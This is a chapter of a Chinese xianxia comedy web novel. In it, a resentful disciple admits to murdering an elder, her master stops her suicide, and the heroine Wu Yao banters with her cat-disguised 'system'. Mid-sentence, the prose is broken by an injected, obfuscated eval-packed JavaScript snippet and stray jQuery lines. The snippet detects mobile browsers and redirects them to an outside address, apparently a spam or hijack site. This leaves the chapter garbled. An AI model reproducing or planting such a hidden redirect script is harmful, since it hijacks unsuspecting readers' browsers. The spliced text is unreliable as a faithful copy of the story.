16. 中间人
作品:《躺平等死,却成万人迷》 还在凡界时,她总是穿姐姐剩下的衣服,吃弟弟剩下的饭,永远安静听话,有时候,父母甚至会忘记家里还有一个排行中间的女儿。
她并不为此痛苦,回望懵懂幼年,任清风也会嘲笑自己:为什么最被忽视的时候不恨任何人,后来却日夜煎熬?
归根究底,是因为她曾经不是“三师姐”吧。
许言海拜入中英宗后,她再也不是最小的那一个,不是最受师父关注的那一个,一切都像过去在凡间一样,任清风又被忽视了。
得到了,然后彻底失去,无法甘心忍受,于是她主动照顾新来的小师妹的起居,博取师父的夸奖。
平心而论,许言海没有坏心,虽然吵闹,但为人赤忱,认真修炼从不懈怠。
曾经的任清风并不讨厌这个师妹,她甚至在心里偷偷笑过:师父取“言海”二字,肯定是在打趣师妹,觉得许言海一直唠唠叨叨,说个不停。
这么看来,“许言海”这个名字,不如“任清风”取得用心,师父还是更在意自己的。
她的些许得意很快在现实面前粉碎,许言海的修为一天天精进,逐渐超过三师姐,变成端木长老座下最耀眼的弟子。
任清风既不如师妹修行迅速,也不敢对师父痴缠撒娇,她只能更加懂事、细心,希望得到师父的赞赏,但越是这样,师父越是关注总闯祸的许言海。
无论她们在交谈什么,任清风连一句话都插不上。
后来者居上,恐慌无处排解,她常在夜里惊醒,对着看不见边际的漆黑天幕发呆,或是悄悄哭泣。
田长老发现了她面对许言海时的抵触,主动找上门,了解原因。
他是德高望重的长老,阅历丰富,或许会有办法解决自己的迷茫,任清风犹豫片刻,便把自己的痛苦和盘托出。
“……原来你是这么想的。”听完,田长老语含深意地抚摸胡须。
他没有再说什么,拂袖离去。
第二天,任清风被叫去戒律堂,执法长老以“嫉恨同门”的罪名,判她闭关思过三个月。
那些窃窃私语就像蟑螂一样从各种角落里冒出来,每一个中英宗弟子都知道任清风内心是如何的不堪,议论着她平日里的所作所为,末了,不屑地点评一句:“没想到任师姐竟然是这种人”。
任清风所有阴暗的想法被拖到日光下暴晒,那张“友爱”的面具被田长老直接撕下来,向她投来的目光都冷得可怕,冻得她浑身发抖。
一直以来的懂事和努力都白费了,就连师父都对她失望,那一刻,任清风真的慌了神,她跪在师父的脚边,声泪俱下地道歉,重重地磕头,承诺以后绝不会再犯,才得到原谅。
她还得向许言海道歉。
彼时,话题的中心对流言蜚语一无所知,仍在自己的院子里专注练剑。
任清风一字一顿从头讲起,她说:“田长老大公无私,没有容忍我那些肮脏的……”
“田长老?”
许言海擦了擦额头上的汗,回忆道:“他脾气超级倔,姜朝托关系让他多照顾我,我都说过好几遍不用了,他还是一直偏袒我。师姐,你不用把他的话放在心上的。”
“……哦,是因为你啊。”任清风长长地呼出一口浊气,温柔地看着师妹,脸上清晰地浮现了恍然大悟的笑容,“我明白了。”
她坚持向许言海表达歉意,每一句“我错了”都伴随着无法言喻的恶心感,胃里的酸水不停翻涌,但这是一件好事,至少任清风终于明白:
有些人只要活着,就足以妨碍你一辈子。
“……已经七年了。”墨绿的袖口闪出一弯黑玉,任清风歪头倚着冰凉的刀刃,对端木长老轻轻笑道,“我捅了他七刀。”
黑玉刀锋利无比,立刻将她的脸颊割出一条玛瑙珠似的血线,她浑然不觉,只道:“师父,我杀了一位长老,您打算怎么处置我?”
端木长老的目光渐渐低下去,一丝痛色令她维持不了往日的肃重,她张了张嘴,或许想劝说什么,但又凝噎无言。
是失望到连斥责都不愿意了?任清风自嘲一笑,刀刃下滑,毫不犹豫地捅向自己的喉咙。
一只手牢牢抓住任清风的腕部,另一只手抢过黑玉刀,直接掷到地上。
因为动作太急切,端木长老的手掌被割出一大条口子,鲜血嘀嗒,她顾不上伤口,歉意地叹息:“是我的错,我一直以为你最令人放心,从未想过你的感受。
“你若还认我为师,便和我一起回宗,你我一同认罪,接受处置。”
任清风难以置信:“师父,这些事是我一人所为,要说是罪也是我的罪,和您没有任何关系。”
两人争论间,一个黑影偷偷从她们脚边溜过去,把地上的刀叼起来,一瘸一拐地跑了。
“干得不错。”吴遥夸了橘猫一句,拿出手帕裹住刀柄,“这个法器应该是魔修给的,回去查一下法器的锻造者,能追踪到更多和魔修勾结的势力。”
[宿主,你为啥不直接问任清风?她不是还没死吗?]
因为刚刚被天道痛打了一顿,系统时不时龇牙咧嘴,猫脸皱成了一团,把刀叼回来后就缠着让吴遥抱它。
吴遥使了点劲,为自己的腰哀叹了一声,然后说:“根据正常套路,只要我问了幕后主使,任清风就会在说出半截名字后暴毙身亡,所以还是先别问了,等她俩聊完吧。”
她是个会看气氛的正常人,那边明摆着在师徒互诉衷肠,现在过去叨两句把人叨死了可怎么整?
然而端木长老和任清风越聊越多,甚至主动说起了为任清风提供便利的魔修,吴遥等啊等,还是没等到哈士奇三师姐突然暴毙。
咋回事?现在的魔修不灭口了,心肠比我还善良?
魔修有话要说,但还是等他先哭完吧。
被五花大绑的倒霉蛋缩在斗篷下,一脸懵逼地看着现场的兵荒马乱,她悄悄地挪了一下位置,发现没人在意自己,于是挪到墙边,蹭破鞋底,露出一张微型传送符箓。
滔天的哭声还在继续,魔修们的老大一边在地上打滚一边哀嚎:“饕餮,你死得好惨啊,只剩我一个可怎么活啊?饕餮!你不要死,快醒醒……”
哭着哭着他开始满地乱爬,下属们悲痛地围着他,七嘴八舌地安慰起来:“宫主,节哀啊!”“兽死不能复生,宫主,向前看吧。”“饕餮不会想看到你这样……”
姜朝溜了,没有一个魔修发现。
世界是个巨大的草台班子,她懂。
总之,感谢那位弄死饕餮的恩人,她一定会报答这份恩情的。
吴遥只觉得无语,她抱着超级大肥猫听那边的师徒唠嗑都听累了,实在不想抱了。
[你竟然又叫本系统那个邪恶的称呼!]橘猫炸毛,显得更圆了。
“有什么关系,反正这次打赌是你输了。”
系统觉得有些奇怪,出力的是它,挨打的是它,最后输的怎么还是它?
不对劲,十分有九分的不对劲!
“咳,我想了想,鉴于你今天帮了大忙,以后还是不叫你‘超级大肥猫’了。”
[嘿嘿嘿嘿,小意思,你以后可以多多依靠本系统。]
一句话,哄得橘猫喜笑颜开,它额头上突然出现的闪电型标记也鲜亮起来。
cos谁呢这是?没有版权的。
吴遥点了一下那个标志,谁知系统慌张起来:[完了,这是天道干的,它注意到我了,宿主,下次它就只会劈我,怎么办?]
这天道还挺智能,会自动纠错,吴遥心想:“那下次就想别的办法呗,你记住自己是伪装成猫的饕餮,不要乱变了。”
不管别人信不信,须弥宗大长老肯定相信它是真正的饕餮。
清德真人回去就连夜翻找古籍,带着提防和恐惧回忆当初一同从崇松池府秘境出来的修士。
这些年,他以为他们都死得差不多了,侥幸活下来的也都苟延残喘。
说实话,一开始清德真人并不相信她是崇松池府的故人,只以为帷帽女是个暗藏祸心的傀儡师,偶然得知崇松池府秘境之事后,以此要挟他。
那些幸存的修士应该和清德真人一样,巴不得永
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313717|139656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
远不再和那件秘宝产生联系。
可是,清德真人确实记得,当初有个修士和凶兽饕餮有关。
一个更恐怖的猜想出现在心中,万一帷帽女真的是那个人,那她的目标甚至比针对炼天宗更大,说不定是冲着崇松池府秘宝而来。
可是那东西绝不能再次成形,否则五界都将陷入无边动乱!
她的野心大到可怕!这不是须弥宗大长老一个人能处理的,清德真人再次向掌门发出紧急通讯。
远在万里之外的须弥宗召开了紧急会议,长老团齐出动,耸人听闻的传闻逐渐从须弥宗弥漫开,引起了某些人的注意。
须弥宗驻地同样陷入兵荒马乱,无瑕顾忌别的,某人默默走了,反正这一趟他完全做到了“死不承认”以及“带二丫见世面”这两个任务。
席玉顺着熟悉的气息飞回去,吴遥一见他就放低声音:“二丫睡着了?”
小孩缩在他的怀里,对夜晚发生的一切一无所知,沉沉睡去。
十米禁令形同虚设,应该已经废除了。
于是席玉主动靠近,把睡得很香的小孩展示给她看。
吴遥摸了摸小孩的脑袋,被触感治愈了,抬头时上扬的帷帽却砰地一声打到了呆鹅。
她条件反射地伸出手,又在即将触碰到席玉的下巴时想收回,他读不懂她的尴尬,率先用脸触碰她的掌心。
“不痛。”席玉认真地说。
“我知道。”吴遥小声嘀咕,“别把二丫吵醒了,回去吧。”
*
“送我的?这块碎片有什么讲究?”
姜朝献出一片黄布似的东西,要送给“打倒饕餮”的救命恩人。
吴遥看了两眼,却没看出这块空白的碎片有什么特别。
姜朝也不知道它特殊在哪里,申明道:“这是我师祖传给我师父的,我师父又把它传给我,希望我研究清楚它的用途,但是我能力有限,研究不出结果。”
她拉了拉斗篷,不好意思地补充:“我只能鉴定出它是一件非常高级的法器,或许是以天地之力汇聚而成的先天灵宝。前辈实力高强,所以我想,您应该能发现它真正的用途。”
传家宝级别的东西,虽然用不上,但以后可以当掉卖钱,吴遥心安理得地收下。
她接过黄布碎片,却觉手心一沉,布料突然变得和秤砣一样,直直坠到地上。
姜朝尴尬地捡起来,在炼器师手里,布料又变轻了。
下马威?这玩意儿脾气还挺大。
“不用了,你留着吧。”吴遥失笑,拒绝了姜朝重新递过来的法器碎片。
“凡事讲究缘,不管它来历有多大,不合适的东西我不要。”
她转身就走,见状,姜朝开始苦恼该换什么报答前辈,但黄布忽然挣脱控制,向那道毫无留念的背影飞去。
衣角一沉,吴遥捻起黄布碎片,一脸疑惑,本来以为黄布看出她是凡人,所以不想待在她手上,没想到它又主动飞过来。
什么毛病?刚刚不肯来,现在不肯走,它是个傲娇?
气场不合,鉴定完毕,迟早卖掉它。
随手把黄布塞进袖子里,吴遥返回空荡荡的中英宗驻地——端木长老已经带着任清风回去了,她拜托吴遥留下,等许言海回来告诉这个弟子一声。
推开门,一股浓郁的桂花香气扑来,院中落英缤纷,容貌邪气的男子随性地靠在大树下,正把玩着手中孔雀羽制成的精美折扇。
……二师兄??
正在狂吃玉米馒头的橘猫被连环呼叫惊得噎了一下,宿主大惊失色的声音撞击着耳廓。
“系统!你赶紧给我过来,江湖救急急急急!”
[发生什么事了?]系统跳上窗台一看。
院子里多了个陌生人,所以呢?
“你不认识他,但我认识,他是我以前在须弥宗的二师兄。”
[然后,他和你有仇?看见你就会想把你弄死?]
“那倒不至于。”吴遥凝重地想,“但我二师兄他是个——”
超级八卦男!!